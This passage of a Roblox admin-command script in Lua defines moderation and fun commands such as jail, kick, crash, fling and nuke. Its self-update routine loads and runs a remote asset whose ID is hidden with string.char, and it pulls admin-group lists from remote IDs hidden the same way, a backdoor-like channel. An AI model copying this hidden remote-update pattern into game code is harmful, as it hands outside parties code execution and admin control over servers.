950 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
951 end
952 getfenv(Script).print_array = function(List)
953 if type(List) == "table" then
954 GUI:ListGui(Speaker, "Listed Table", List, "Output")
955 end
956 end
957 end
958
959 local Suc, Error = ypcall(coroutine.wrap(Script))
960
961 if not Suc then
962 Error = CORE:HandleError(Error, Speaker)
963 end
964
965 return Suc,Error
966 end
967end
968
969function CORE:GetTime(Regular, FullDate)
970 if Regular == nil then Regular = true end
971 local Meridiem = ""
972 if Regular == true then Meridiem = " AM" end
973 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
974 local Hour = math.floor(SecondsOfToday / (60*60))
975 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
976 local Second = math.floor(math.fmod(SecondsOfToday, 60))
977 if Hour > 12 and Regular == true then
978 Hour = Hour - 12
979 Meridiem = " PM"
980 end
981 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
982 if #Hour <= 1 then Hour = "0"..Hour end
983 if #Minute <= 1 then Minute = "0"..Minute end
984 if #Second <= 1 then Second = "0"..Second end
985 local Return = Hour..":"..Minute..":"..Second..Meridiem
986 if FullDate == true and Date then Return = Date.." "..Return end
987 return Return
988end
989
990function CORE:RemoveAdmin(Speaker)
991 local Answer = true -- false
992 if not CORE:NilPlayer(Speaker) then
993 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
994 end
995 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
996 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
997 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
998 for _,Item in pairs(Player:GetChildren()) do
999 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
1000 Item:Destroy()
1001 end
1002 end
1003 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
1004 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
1005 GUI:Destroy()
1006 end
1007 end
1008 end end
1009 for _,Car in pairs(Cars) do
1010 Car:Destroy()
1011 end
1012 CORE:FixLighting()
1013 while wait() do
1014 if script:FindFirstChild("Override") then script.Override.Value = true end
1015 Settings,CORE,IRC = nil,{},{}
1016 if Sound then Sound:Stop() end
1017 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
1018 script:ClearAllChildren() script:Destroy() script.Disabled = true
1019 end
1020 end
1021end
1022
1023function CORE:MakeBase()
1024 for _,Get in pairs(Workspace:GetChildren()) do
1025 if Get.Name == "Base" or Get.Name == "BasePlate" then
1026 Get:Destroy()
1027 end
1028 end
1029 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
1030end
1031
1032function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
1033 if IsAbusive == nil then IsAbusive = false end
1034 if Commands[CommandName] then table.remove(Commands[CommandName]) end
1035 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
1036end
1037
1038function CORE:FixLighting() coroutine.wrap(function()
1039 ModLighting = false
1040 wait(0.2)
1041 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
1042 Server.Lighting.FogColor = Color3.new(0,0,0)
1043 Server.Lighting.Brightness = 1
1044 Server.Lighting.TimeOfDay = 14
1045 Server.Lighting.FogEnd = 100000
1046end)() end
1047
1048function CORE:Round(Number)
1049 if Number >= 0.5 then
1050 return math.ceil(Number)
1051 elseif Number < 0.5 then
1052 return math.floor(Number)
1053 end
1054end
1055
1056local AdminID,Got = nil,false
1057repeat wait()
1058 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
1059until Got == true
1060
1061function CORE:GetTable(ID)
1062 local Thing = nil
1063 repeat wait()
1064 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
1065 until Thing
1066 return Thing
1067end
1068
1069function CORE:InAdminGroup(Speaker)
1070 local IsIn = false
1071 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
1072 if Speaker:IsInGroup(Get) then
1073 IsIn = true
1074 end
1075 end
1076 if IsIn == true then
1077 return true
1078 else
1079 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
1080 return false
1081 end
1082end
1083
1084function CORE:ReverseTable(Table)
1085 if type(Table) ~= "table" then return Table end
1086 local NewTable = {}
1087 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1088 return NewTable
1089end
1090
1091function CORE:Log(LogTable, Player, Chat)
1092 local PlayerName = tostring(Player)
1093 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1094 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1095end
1096
1097function CORE:Jail(Player)
1098 if not Player then return nil end
1099 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1100 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1101 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1102 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1103 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1104 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1105 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1106 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1107 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1108 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1109 Cell:MoveTo(Vector3.new(0,3,0))
1110
1111 if Player.Character and Player.Character:FindFirstChild("Torso") then
1112 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1113 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1114 end
1115 table.insert(Dispose, Cell)
1116 Jails[Player.Name] = Cell
1117end
1118
1119function CORE:UnJail(Player)
1120 if not Player then return nil end
1121 if Jails[Player.Name] then
1122 Jails[Player.Name]:Destroy()
1123 Jails[Player.Name] = nil
1124 end
1125end
1126
1127function CORE:ChangeName(Player, NewName)
1128 if not Player or not NewName then return nil end
1129 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1130 local NewName = STRING:FormatReplace(Player, NewName)
1131
1132 for _,Obj in pairs(Player.Character:GetChildren()) do
1133 if Obj.Name == "Label" then Obj:Destroy() end
1134 end
1135
1136 local Head = Player.Character.Head
1137 local HeadClone = Head:Clone()
1138
1139 -- make actual head invisible
1140 Head.Transparency = 1
1141 ypcall(function() Head.face.Transparency = 1 end)
1142
1143 -- make fake head visible
1144 HeadClone.Transparency = 0
1145 ypcall(function() HeadClone.face.Transparency = 0 end)
1146
1147 local Label = Instance.new("Model", Player.Character)
1148 Label.Name = "Label"
1149
1150 local Model = Instance.new("Model", Label)
1151 Model.Name = NewName
1152
1153 local HumanoidClone = Instance.new("Humanoid", Model)
1154 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1155
1156 HeadClone.Position = Vector3.new(0,100,0)
1157 HeadClone.CanCollide = false
1158 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1159
1160
1161 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1162 HeadClone.Parent = Model
1163 local Weld = Instance.new("Weld", HeadClone)
1164 Weld.Part0 = HeadClone
1165 Weld.Part1 = Head
1166 end)
1167 end
1168end
1169
1170function CORE:UpdateAdmin()
1171 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1172 return nil
1173 end
1174 local UpdateModel = AdminID
1175 if UpdateModel == 0 then return end
1176 local NewAdminModel = nil
1177 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1178 if NewAdminModel then
1179 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1180 if NewAdmin then
1181 local NewVersion = NewAdmin:FindFirstChild("Version")
1182 if NewVersion.Value ~= CORE.Version.Value then
1183 if ExploitModule then
1184 ExploitModule.Disabled = true
1185 ExploitModule:Destroy()
1186 end
1187 NewAdmin.Disabled = true
1188 NewAdmin.Parent = Workspace
1189 if not Settings then
1190 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1191 if NewSettings then NewSettings.Parent = Workspace end
1192 end
1193 wait() NewAdmin.Disabled = false
1194 CORE:RemoveAdmin()
1195 else
1196 NewAdminModel:Destroy()
1197 end
1198 end
1199 end
1200end
1201
1202function CORE:UnpackPlayers(Players)
1203 local PlayerNames = ""
1204 for Num,Player in pairs(Players) do
1205 if Player ~= nil then
1206 if Num ~= #Players then
1207 PlayerNames = PlayerNames..Player.Name..", "
1208 else
1209 PlayerNames = PlayerNames..Player.Name
1210 end
1211 end
1212 end
1213 return PlayerNames
1214end
1215
1216function CORE:GetValue(Value)
1217 if Value:IsA("StringValue") then
1218 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1219 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1220 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1221 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1222 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1223 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1224 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1225 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1226 if Admin == Value.Value then
1227 table.remove(Settings.Ranks["Admin"],Num)
1228 end
1229 end
1230 end end
1231 end
1232end
1233
1234function CORE:GetPlayer(ID)
1235 local Return = {"Unknown", ID}
1236 if tonumber(ID) then
1237 for _,Data in pairs(CharacterCache) do
1238 if ID == Data[2] then
1239 return Data
1240 end
1241 end
1242 ypcall(function()
1243 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1244 if Name then
1245 local Data = {Name, ID}
1246 table.insert(CharacterCache, Data)
1247 Return = Data
1248 end
1249 end)
1250 else
1251 local Name = tostring(ID)
1252 for _,Data in pairs(CharacterCache) do
1253 if string.lower(Name) == string.lower(Data[1]) then
1254 return Data
1255 end
1256 end
1257 ypcall(function()
1258 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1259 if PlayerID then
1260 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1261 local Data = {Name, PlayerID}
1262 table.insert(CharacterCache, Data)
1263 Return = Data
1264 end
1265 end)
1266 end
1267
1268 return Return
1269end
1270
1271function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1272 if ID and #tostring(ID) >= 1 then
1273 local PlayerName = nil
1274
1275 local Players = STRING:Scan(ID, Speaker)
1276 if #Players >= 1 then -- if player is found in server
1277 ID = Players[1].UserId
1278 elseif tonumber(ID) then
1279 local Data = CORE:GetPlayer(ID)
1280 PlayerName = Data[1]
1281 else
1282 local Data = CORE:GetPlayer(tostring(ID))
1283 PlayerName = Data[1]
1284 ID = Data[2]
1285 end
1286
1287 if tonumber(ID) == 20018 then -- exploding easter bunny
1288 local OldID = ID
1289 ID = 1
1290 if Speaker then
1291 if RANK:GetRank(Speaker) == "Member" then
1292 coroutine.wrap(function()
1293 wait(1)
1294 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1295 end)()
1296 else ID = OldID
1297 end
1298 end
1299 elseif tonumber(ID) == 1311 then -- ffjosh
1300 local OldID = ID
1301 ID = 1
1302 if Speaker then
1303 if RANK:GetRank(Speaker) == "Member" then
1304 coroutine.wrap(function()
1305 wait(1)
1306 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1307 end)()
1308 else ID = OldID
1309 end
1310 end
1311 end
1312
1313 if tonumber(ID) then
1314 local Position = nil
1315 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1316 if ManualPos then
1317 Position = ManualPos
1318 else
1319 Position = Player.Character.Torso.Position
1320 end
1321 end
1322 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1323 wait() Player:LoadCharacter() wait()
1324 if Position then Player.Character:MoveTo(Position) end
1325 if not Perm then
1326 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1327 end
1328 if NameChar and PlayerName then
1329 wait(2)
1330 CORE:ChangeName(Player, PlayerName)
1331 end
1332 end
1333 end
1334end)() end
1335
1336function CORE:GenerateShield(Player)
1337 if not Player then return nil end
1338 if not Player.Character then return nil end
1339 local Torso = Player.Character:FindFirstChild("Torso")
1340 if not Torso then return nil end
1341
1342 local Shield = Player.Character:FindFirstChild("Shield")
1343 if Shield then Shield:Destroy() end
1344
1345 Shield = Instance.new("Part", Player.Character)
1346 Shield.Name = "Shield"
1347 Shield.Locked = true
1348 Shield.CanCollide = false
1349 Shield.Size = Vector3.new(10,10,10)
1350 Shield.Shape = "Ball"
1351 Shield.Color = GUI:GetColor()
1352 Shield.Transparency = 0.5
1353 Shield.TopSurface = "Smooth"
1354 Shield.BottomSurface = "Smooth"
1355 Shield.Anchored = true
1356 Shield.Position = Torso.Position
1357
1358 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1359 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1360
1361 Hum:Play()
1362
1363 Shield.Touched:connect(function(Part)
1364 if Part.Parent ~= Server.Workspace then
1365 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1366 if Humanoid then
1367 local Char = Humanoid.Parent
1368 if Char:IsA("Model") and Humanoid.Health > 0 then
1369 if Char ~= Player.Character then
1370 Char:BreakJoints()
1371 Zap:Play()
1372 end
1373 end
1374 end
1375 end
1376 end)
1377
1378 coroutine.wrap(function() repeat wait()
1379 Shield.CFrame = Torso.CFrame
1380 until Torso.Parent == nil or Shield.Parent == nil end)()
1381end
1382
1383function CORE:FlingPlayer(Player)
1384 if Player and Player.Character then
1385 if Player.Character:FindFirstChild("Torso") then
1386 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1387 Fling.Name = "Fling"
1388 Fling.force = Vector3.new(10000,10000,10000)
1389 end
1390 end
1391end
1392
1393function CORE:Kick(Player, CustomMessage)
1394 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1395 coroutine.wrap(function()
1396 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1397 wait(1)
1398 Player:Kick(CustomMessage)
1399 end)()
1400end
1401
1402function CORE:Crash(Player)
1403 local Parent = Player
1404 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1405 elseif Player.Character then Parent = Player.Character end
1406
1407 CORE:ExecuteResource("Crash", Parent)
1408end
1409
1410function CORE:RestoreCamera(Player)
1411 if Player.Backpack then
1412 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1413 end
1414end
1415
1416function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1417 local function ScanInstance(Object)
1418 if #Object:GetChildren() > 0 then
1419 for _,Obj in pairs(Object:GetChildren()) do
1420 local IsType = false
1421 if ObjTypes and #ObjTypes > 0 then
1422 for _,ObjType in pairs(ObjTypes) do
1423 if Obj:IsA(ObjType) then
1424 IsType = true
1425 break
1426 end
1427 end
1428 else
1429 IsType = true
1430 end
1431 if IsType == true then
1432 ActiveFunc(Obj)
1433 end
1434 ScanInstance(Obj)
1435 end
1436 end
1437 end
1438 ScanInstance(BaseObj)
1439end
1440
1441function CORE:AnchorPlayer(Player)
1442 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1443
1444 Player.Character.Humanoid.WalkSpeed = 0
1445 for _,Object in pairs(Player.Character:GetChildren()) do
1446 if Object:IsA("BasePart") then
1447 Object.Anchored = true
1448 end
1449 end
1450end
1451
1452function CORE:UnanchorPlayer(Player)
1453 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1454
1455 Player.Character.Humanoid.WalkSpeed = 16
1456 for _,Object in pairs(Player.Character:GetChildren()) do
1457 if Object:IsA("BasePart") then
1458 Object.Anchored = false
1459 end
1460 end
1461end
1462
1463function CORE:InvisiblePlayer(Player)
1464 if not Player or not Player.Character then return end
1465
1466 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1467end
1468
1469function CORE:VisiblePlayer(Player)
1470 if not Player or not Player.Character then return end
1471
1472 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1473end
1474
1475function CORE:Nuke(Player) coroutine.wrap(function()
1476 local Pos = CFrame.new(0,1,0)
1477 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1478 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1479 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1480 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1481 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1482 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1483
1484 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1485
1486 Server.Lighting.Brightness = 5
1487 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1488 Server.OutdoorAmbient = Color3.new(1,1,1)
1489
1490 local Exp = Instance.new("Explosion", Server.Workspace)
1491 Exp.Position = Pos.p
1492 Exp.BlastPressure = 10000000
1493 Exp.BlastRadius = 1000000
1494 Exp.Hit:connect(function(Part)
1495 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1496 ypcall(function()
1497 Part.Anchored = false
1498 Part.BrickColor = BrickColor.new("Black")
1499 Part.Material = "Slate"
1500 Part:BreakJoints()
1501 end)
1502 end
1503 end)
1504
1505 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1506 BoomSound:Play()
1507 for i = 0,100,0.5 do
1508 Blast.Anchored = true
1509 Wave.Anchored = true
1510 BlastMesh.Scale = Vector3.new(i,i,i)
1511 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1512 Blast.CFrame = Pos
1513 wait()
1514 end
1515 BoomSound:Stop()
1516 Blast:Destroy()
1517 Wave:Destroy()
1518 wait()
1519 BoomSound:Destroy()
1520 Effect:Destroy()
1521 for i = 10,5,-1 do
1522 Server.Lighting.Brightness = (i-5) + 1
1523 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1524 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1525 wait(0.05)
1526 end
1527end)() end
1528
1529function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1530 local AssetID = tonumber(AssetID)
1531 local Item = nil
1532 if AssetID and AssetID ~= 1055299 then
1533 local CanInsert = true
1534 if AbuseMode then
1535 for _,ID in pairs(RemoteAbuseGear) do
1536 if AssetID == tonumber(ID) then CanInsert = false break end
1537 end
1538 for _,ID in pairs(Settings.AbusableGear) do
1539 if AssetID == tonumber(ID) then CanInsert = false break end
1540 end
1541 end
1542 if CanInsert then
1543 Item = Server.IS:LoadAsset(AssetID)
1544 if GetFirstChild then
1545 Item = Item:GetChildren()[1]
1546 if FirstChildTypes and Item then
1547 local ValidType = false
1548 for _,Type in pairs(FirstChildTypes) do
1549 if Item:IsA(Type) then
1550 ValidType = true
1551 break
1552 end
1553 end
1554 if ValidType == false then
1555 Item = nil
1556 end
1557 end
1558 end
1559 if Item and Parent then
1560 Item.Parent = Parent
1561 end
1562 end
1563 end
1564 return Item
1565end
1566
1567function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1568 if not Player or not Player.Character then return nil end
1569 PID = tonumber(PID)
1570 for _,Obj in pairs(Player.Character:GetChildren()) do
1571 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1572 end
1573 if PID then
1574 -- back when we needed HttpService to get packages.
1575 --[[
1576 if PackageCache[PID] then
1577 for _,ID in pairs(PackageCache[PID]) do
1578 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1579 end
1580 else
1581 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1582 if IDsJSON then
1583 local IDs = REMOTE:Decode(IDsJSON)
1584 if IDs then
1585 if not IDs["Error"] then
1586 table.insert(PackageCache, IDs)
1587 for _,ID in pairs(IDs) do
1588 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1589 end
1590 end
1591 end
1592 end
1593 end
1594 ]]
1595 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1596 local IDs = {}
1597 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1598 if #IDs > 0 then
1599 for _,ID in pairs(IDs) do
1600 local PackagePart = CORE:Insert(ID)
1601 for _,Obj in pairs(PackagePart:GetChildren()) do
1602 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1603 Obj.Parent = Player.Character
1604 elseif Obj:IsA("Folder") then
1605 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1606 Obj:GetChildren()[1].Parent = Player.Character
1607 end
1608 end
1609 end
1610 end
1611 end
1612 end
1613end)() end
1614
1615function CORE:ChangeBet(Bet)
1616 if tostring(Bet) and Bet ~= Settings.Bet then
1617 for Index,Data in pairs(Commands) do
1618 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1619 end
1620 Settings.Bet = Bet
1621 end
1622end
1623
1624function CORE:ResetLighting()
1625 ModLighting = false wait(0.2) ModLighting = true
1626end
1627
1628function CORE:Fly(Player, Force)
1629 if Player and Player.Character then
1630 local StopFly = Instance.new("RemoteFunction", Player.Character)
1631 StopFly.Name = "StopMMLFly"
1632 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1633 end
1634end
1635
1636function CORE:GiveTools(Player, Type)
1637 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1638 Type = string.lower(Type)
1639 local _,RankNum = RANK:GetRank(Player)
1640 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1641 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1642
1643 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1644 for Name,Type in pairs(BaseBuildTools) do
1645 local Tool = Instance.new("HopperBin", Player.Backpack)
1646 Tool.Name = Name
1647 Tool.BinType = Type
1648 end
1649 elseif Type == "psbtools" then
1650 for _,Tool in pairs(BuildTools) do
1651 CORE:Insert(Tool, Player.Backpack, true)
1652 end
1653 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1654 if F3X then
1655 local F3X = F3X:Clone()
1656 F3X.Parent = Player.Backpack
1657 end
1658 elseif Type == "btools" then
1659 if F3X then
1660 local F3X = F3X:Clone()
1661 F3X.Parent = Player.Backpack
1662 end
1663 for Name,Type in pairs(BaseBuildTools) do
1664 local Tool = Instance.new("HopperBin", Player.Backpack)
1665 Tool.Name = Name
1666 Tool.BinType = Type
1667 end
1668 for _,Tool in pairs(BuildTools) do
1669 CORE:Insert(Tool, Player.Backpack, true)
1670 end
1671 else
1672 for _,Region in pairs(ToolRegions) do
1673 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1674 if Type == "all" then
1675 local NewItem = Item:Clone()
1676 NewItem.Parent = Player.Backpack
1677 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1678 local NewItem = Item:Clone()
1679 NewItem.Parent = Player.Backpack
1680 end
1681 end)
1682 end
1683 end
1684end
1685
1686function CORE:Scale(Player, ScalePercent)
1687 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1688 local Ratio = ScalePercent/100
1689 if Ratio < 0.05 then Ratio = 0.05 end
1690 if Ratio > 100 then Ratio = 100 end
1691 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1692 local Char = Player.Character
1693
1694 local Clean = Char:FindFirstChild("Clean")
1695 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1696 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1697
1698 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1699 local Welds = {}
1700 local Parts = {}
1701
1702 local function Handle(Obj)
1703 if Obj:IsA("BasePart") and not JustWeld then
1704 table.insert(Parts, Obj)
1705 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1706 if Obj.Name == "MML Mesh" then
1707 Obj:Destroy()
1708 end
1709 if Obj.MeshType == Enum.MeshType.FileMesh then
1710 Obj.Offset = Obj.Offset * ScaleRatio
1711 Obj.Scale = Obj.Scale * ScaleRatio
1712 elseif Ratio < 1 then
1713 Obj.Offset = Obj.Offset * ScaleRatio
1714 Obj.Scale = Obj.Scale * ScaleRatio
1715 end
1716 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1717 if Ratio < 1 then
1718 local BodyPart = ""
1719 local TextureID = Obj.BaseTextureId
1720 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1721 if TextureID == 0 then TextureID = nil end
1722 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1723 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1724 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1725 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1726 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1727 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1728 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1729 NewMesh.Name = "MML Mesh"
1730 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1731 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1732 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1733 Obj:Destroy()
1734 end
